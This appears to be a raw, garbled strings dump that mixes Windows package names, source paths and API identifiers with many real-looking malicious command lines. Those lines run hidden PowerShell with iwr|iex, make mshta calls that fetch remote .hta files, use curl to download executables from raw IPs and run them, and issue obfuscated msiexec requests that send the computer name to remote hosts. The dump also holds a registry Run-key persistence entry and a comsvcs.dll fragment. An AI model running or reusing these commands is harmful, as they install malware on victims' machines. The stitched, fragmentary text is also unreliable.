onecoreuap\windows\moderncore\inputv2\rawinputproviders\mpc\lib\mpcheadmovementdetector.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mouse\lib\mouseprocessor.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\NonBamoInputDeliveryServer.h
onecoreuap\windows\moderncore\inputv2\rawinputproviders\lamparray\lib\pnpdevicewatcher.cpp
onecoreuap\windows\moderncore\inputv2\components\inputobservers\server\BaseInputObserverServer.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\mpc\lib\MPCFocusTarget.h
onecoreuap\windows\moderncore\inputv2\utilities\animationdataprovider\animationdataprovider.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\augmentedinputdevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\bamos\server\system\inputsysteminternalclientconnection.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\systembutton\system\lib\systembuttonprocessor.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\inputserviceproxy.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\components\cursor\service\lib\systemcursorcontrolle
WindowsDuplicateString
WindowsGetStringLen
WindowsCompareStringOrdinal
CredUIPromptForWindowsCredentialsW
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
Microsoft.Windows.Networking.WFP.Kernel
Microsoft.Windows.TlgAggregateInternal
?checkPipeState@QWindowsPipeReader@@AEAAKXZ
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Delwindows
powershell.exe-windowstylehidden-commandexpand-archive-path"c:\users\public\
\\system32\\comsvcs.dll,m
C:\WINDOWS\Explorer.EXE
OS=Windows_NT
\actualistsmollusk.jsc:\windows\explorer.exe%systemroot%
\windows\currentversion\
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Kernel.Base
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Kernel-Package-Processor-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
com.microsoft.windows.acceleratedlaunch.1
com.microsoft.windows.ai.languagemodel
com.microsoft.windows.ai.taskapix
com.microsoft.windows.remote_app_windowing_apisn
com.microsoft.windows.startupappmanagement.1W
com.microsoft.windows.startupAppsManagerPreviewn
com.microsoft.windows.storageprovidersuggestionshandler_v1
com.microsoft.windows.taskbar.pin
com.microsoft.windows.taskbar.requestPinSecondaryTile
com.microsoft.windows.textinputmethod
com.microsoft.windows.usersession.controll#mW
Microsoft.Windows.DevHome_8wekyb3d8bbwe
Microsoft.WindowsAlarms_8wekyb3d8bbwe0
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
windows.fileTypeAssociation
windows.protocol
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy;
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy@
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy\
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft-Windows-CoreSystem-DXG-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DXG-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DXG-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742S
Microsoft-Windows-CoreSystem-RemoteFS-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824n
Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwellUserS
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewyn
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard@
windows.protocol
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewyA
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewya
Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8wekyb3d8bbwe
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewyF
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe4
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
C:\WINDOWS\system32\msvcp140.dll
windows.fileTypeAssociation
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewyi
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
windows.protocol
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbweUI.Xam
Microsoft.WindowsAppRuntime.1.3_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe310.300
Microsoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Microsoft-Windows-Desktop-Shared-removable-Package~31bf3856ad364e35~amd64~~10.0.26100.15918
Microsoft-Windows-Desktop-Shared-removable-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742&
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742\r
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-TS-OptionalComponents-Package~31bf3856ad364e35~amd64~~10.0.26100.1000
Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe961
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe308p
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy"
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
RequireWindowsCert
RequireWindowsCert
C:\Windows\System32\RunDll32.exe
C:\Windows\System32\Narrator.exe
C:\Windows\System32\ShellHost.exexe
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
RequireWindowsCert
RequireWindowsCert
RequireWindowsCert
C:\Windows\System32\wbiosrvc.dll
C:\Windows\System32\LogonUI.exee
C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdbexe
Windows.Data.ColorSettings.ColorData
Windows.Data.DeviceSettings.DeviceSettingsData
Windows.Data.Input.Devices.PenPerDevice
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~~10.0.26100.7824
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7824
Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~amd64~~11.0.26100.7824
Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~amd64~en-US~11.0.26100.7824
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Path=C:\WINDOWS\system32;
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
windir=C:\WINDOWS{
\system32;l
Windows\System32\
windows.hlp
WindowsTrustedRT
Windows
amd64_microsoft-windows-s..eat-britain-english_31bf3856ad364e35_none_d83925704306b046
Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.26100.1742
sMicrosoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.78241
lMicrosoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
bMicrosoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.19
tuMicrosoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
"Windows
Desktop","Microsoft.Windows.Shell.RunDialog$
ft.WindowsCamera_8wekyb3d8bbwe!App","Microso,
_windows_epoch_micros
windowsbackupandrestore
enablewindowsrestorevk	
ADMX_WindowsExplorer
Software\Policies\Microsoft\Windows\Appx\RemoveDefaultMicrosoftStorePackages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe@
EnableWindowsBackuphrang
WindowsAI
capabilityClass_Windows
Microsoft.Windows.Input.HidClass
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Input.HidUsb
Microsoft.Windows.FileSystem.Fat
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.Security.EFS.EfsLib
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
C:\WINDOWS\system32
	c:\windows\system32\mshta.exehttps://secfileshare.com/5.hta
start-process"https://admin.booking.com"-windowstylehidden
powershell-windowstylehidden-encodedcommandcgakacqaqqaxad0
)dc:\windows\system32\windowspowershell\v1.0\powershell.exe-whidden$a=iwrhttps://nameless-breeze-4a94.klkjlryuryi.workers.dev;$ads=$a.content;$cim=[scriptblock]::create($ads);&$cim;
System.Runtime.InteropServices.WindowsRuntime
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat(
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat(
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
SystemRoot=C:\WINDOWS
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
      "$comment": "Windows Copilot chat provider extensibility",
      "$comment": "Windows and first-party apps are allowed to access web browser user profile IDs.",
      "$comment": "Windows Copilot can use foreground window OCR results to add context",
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenO%
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXG:
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerE
Windows.System.Diagnostics.Telemetry.PlatformTelemetryClient.dll
Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1
mshta.exel-kelv<c:\windows\system32\mshta.exe.http://a0706248.xsph.ru/reject/headlong.txt/f"%systemroot%\system32\mmcndmgr.dll%systemroot%\system32\mshta.exe%systemroot%\system32\mshta.exe%wn
%9cmd.exeaccount/d/v/r^st^ar^tm^s^iex^ec^o^pk=fph^wyv/fv"http://gz.qa:8080/yy/bi5nx56d0oqpeipt3rhr1dq0foqrfrwztbjj4/!computername!"/q^ft^jak^rx^y^i=^xv^h^n^w"%systemroot%\system32\imageres.dll%
wcmd.exeaccount/d/v/r^st^ar^tm^s^iex^ec^o^pk=fph^wyv/fv"http://gz.qa:8080/yy/bi5nx56d0oqpeiptw4fpvy0qdosrfrwztbjj4/!computername!"/q^ft^jak^rx^y^i=^xv^h^n^w"%systemroot%\system32\imageres.dll%
cmd.exek/v/rst^a^r^tm^si^e^xecfw^s^u^c^p=va^dgw^vt^vc-^quie^tk^nzll^msg=^u^g^iy^u-^fv"http://3z.nu:8080/bxbdij4tj/nnyqygc9d6urrh5pcukz1ghnwi/lhxc/!computername!"%windir%\system32\shell32.dll%
Hc:\windows\system32\cmd.exerecord/v/c^star^tm^si^ex^e^c-pack^ag^e"http://3z.nu:8080/axaww99kctvc5x68kmoauxio/yhan7/!computername!"^ufiu^k^k=c^i-q^n^ufx^s^x=^cd^d%windir%\system32\imageres.dll
c:\windows\system32\cmd.exeaccesstheinternet!..\..\..\windows\system32\cmd.exej/ccurlhttp://45.61.137.32/scanned_document.exe-o%windir%\temp\ms7.exe&&%windir%\temp\ms7.execmd.exe!%systemroot%
c:\windows\system32\cmd.exedatabaru/ykip/q/r^s^tar^t^m^si^ex^e^c-^f^v"http://3z.nu:8080/a4abigcbygribtv/z0xzssmpdla/%computername%"/^q^uietm^txqn=^c^axxd^mfu!%systemroot%\system32\shell32.dll
powershell.exe!x150paypalfullcaptureaccounts.txt?..\..\..\windows\system32\windowspowershell\v1.0\powershell.exeb.$env:c:\w*\s*2\m*h?a.*'https://transfer.sh/get/9qnqhx/ras.hta'shell32.dll%wn]
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
:software\microsoft\windows\currentversion\runservicesonce
cmd="powershell-windowstylehidden-executionpolicybypass-encodedcommand"cmd=cmd&"
9..\..\..\..\windows\system32\cmd.exe+/cstartrundll32.exeo7m2se.dll,llbmpmusqf!%
/q/ctype%systemroot%\system32\msh*.exe>%public%\msh&ren%public%\**ta.exe&for%iin(%public%\ms*.exe)dostart/b%~ni
-windowstylehidde
c:\windows\system32\windowspowershell\v1.0\powershell.exemkdirc:\a;(iwr'https://drive-cloud.site/uhgr34fdhg3h/oih4fhqdf.txt'-outfile'c:\a\c.txt').content;$c=gc"c:\a\c.txt";gcc:/a/c.txt|%{iex$_}
lc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttp://87.120.113.91/image.exe-outfile%temp%\file.exe;start-process'%temp%\file.exe'}"
Tcurl.execxazwse.exe&copyc:\windows\system32\schtasks.execxazwse1.exe&cxazwse-k-oabblibd.exehttps://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0&cxazwse-k-oqavnopx.cdr
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
\windows\
\\.\root\Microsoft\Windows\RemoteAccess\Client:__Win32Provider.Name="VpnClientPSProvider"
ROOT\Microsoft\Windows\RemoteAccess\Client
ROOT\Microsoft\Windows\RemoteAccess\Client
ROOT\Microsoft\Windows\RemoteAccess\Client
Microsoft.Windows.Networking.WfpLwfs
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.TlgAggregateInternal
GetActivationFactory( HStringReference(RuntimeClass_Windows_Internal_StateRepository_Application).Get(), &applicationStatics)
m_fmdEnabledWindowsSettingsWnf.SubscribeToWnfState( LocWnfCommon::ActualStateNameToLoc(WNF_SHEL_SETTINGS_CHANGED), fmdCheckFn)
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Json.h
WindowsCreateStringReference
?tryCloseAllWindows@QGuiApplicationPrivate@@UEAA_NXZ
?tryCloseRemainingWindows@QGuiApplicationPrivate@@IEAA_NV?$QList@PEAVQWindow@@@@@Z
msadal::WindowsCryptoUtils::Hash
D:\a\1\s\src\cpp\src\lib\windows\WindowsCryptoUtils.cpp
msadal::WindowsCryptoUtils::Encrypt
msadal::WindowsCryptoUtils::Decrypt
D:\a\1\s\src\cpp\src\lib\windows\SystemMutex.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioncapabilities.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtpointereventrouter.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioninteractionsourcecollection.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrthoverpointersource.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtlineareasingfunction.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcubicbeziereasingfunction.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositioneasingfunction.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositiondiagnosticsinterop.cpp
Aonecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositor.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionbatchcompletedeventargs.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteractiontracker.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcommitcompletionwaiter.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositionisland.cpp
Fonecoreuap\windows\dwm\dcomp\winrtnested\global\wrtuicontext.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtappcontentroot.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\systembackdrophelper.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtimplicitanimationcollection.cpp
?onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionanimationgroup.cpp
onecoreuap\windows\dwm\dcomp\dxdevice.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtsharedd3ddevice.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtsharedd3ddevicepool.cpp
onecoreuap\windows\dwm\common\telemetryhelper\processinformation\processinformation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtmanipulationtransform.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtcompositioncapabilitiesg.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtdesktopwindowtarget.cpp
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
	\windows\system32\windowspowershell\v1.0\powershell.exe\.$env:c:\?i*\s*3?\m*ta.e*('https://download-files-pdf.de/plm/clineti2022'+'.h'+'ta')shell32.dll%wn]
\windows\system32\cmd.exe]/ccurlhttp://45.61.137.32/www.exe-o%windir%\temp\ms7.exe&&%windir%\temp\ms7.execmd.exe!%systemroot%\system32\shell32.dll%windir%\
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://45.126.209.57/upload/wesfg.hta
powershell.exe-noprofile-windowstylehidden-executionpolicybypass-command"iwr-usebasicparsinghttps://scintillating-taffy-213dd3.netlify.app/stage1.ps1|iex"
c:\windows\system32\cmd.exe/cbitsadmin/transferjob/download/priorityforegr`C
lf@po:i+00/c:\v1windows@.windowsz1system32b.system32t1windowspowershellt.windowspowershelln1v1.0:.v1.0l2powershell.exen.powershell.exeb
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\-http://a0662337.xsph.ru/guard/guardian.xml/f%windir%\system32\shell32.dll
.loadlibrary("c:/windows/system32/user32.dll");intptrpaddr=nativemethods.getprocaddress(pdll,texthelper.process("$6e(:?5@hdw@@<ti("));
*wc:\windows\system32\cmd.exereceivedocumentw/v/c^s^ta^r^t^msiex^ec-^p^a^c^k^a^ge"http://7d.wf:8080/apb/87rt3iunrznddfsdh/!computername!
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-command'
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshtab
Jhkcu\software\microsoft\windows\currentversion\run\mymalware
c:\windows\system32\cmd.exe/c\\37.1.214.196\cgi-content\slnv
="software\microsoft\windows\currentversion\
Microsoft.Windows.Internal.UI.Shell.WindowTabManagerTelemetry
Microsoft.Windows.Internal.UI.Shell.WindowTabManagerTelemetry
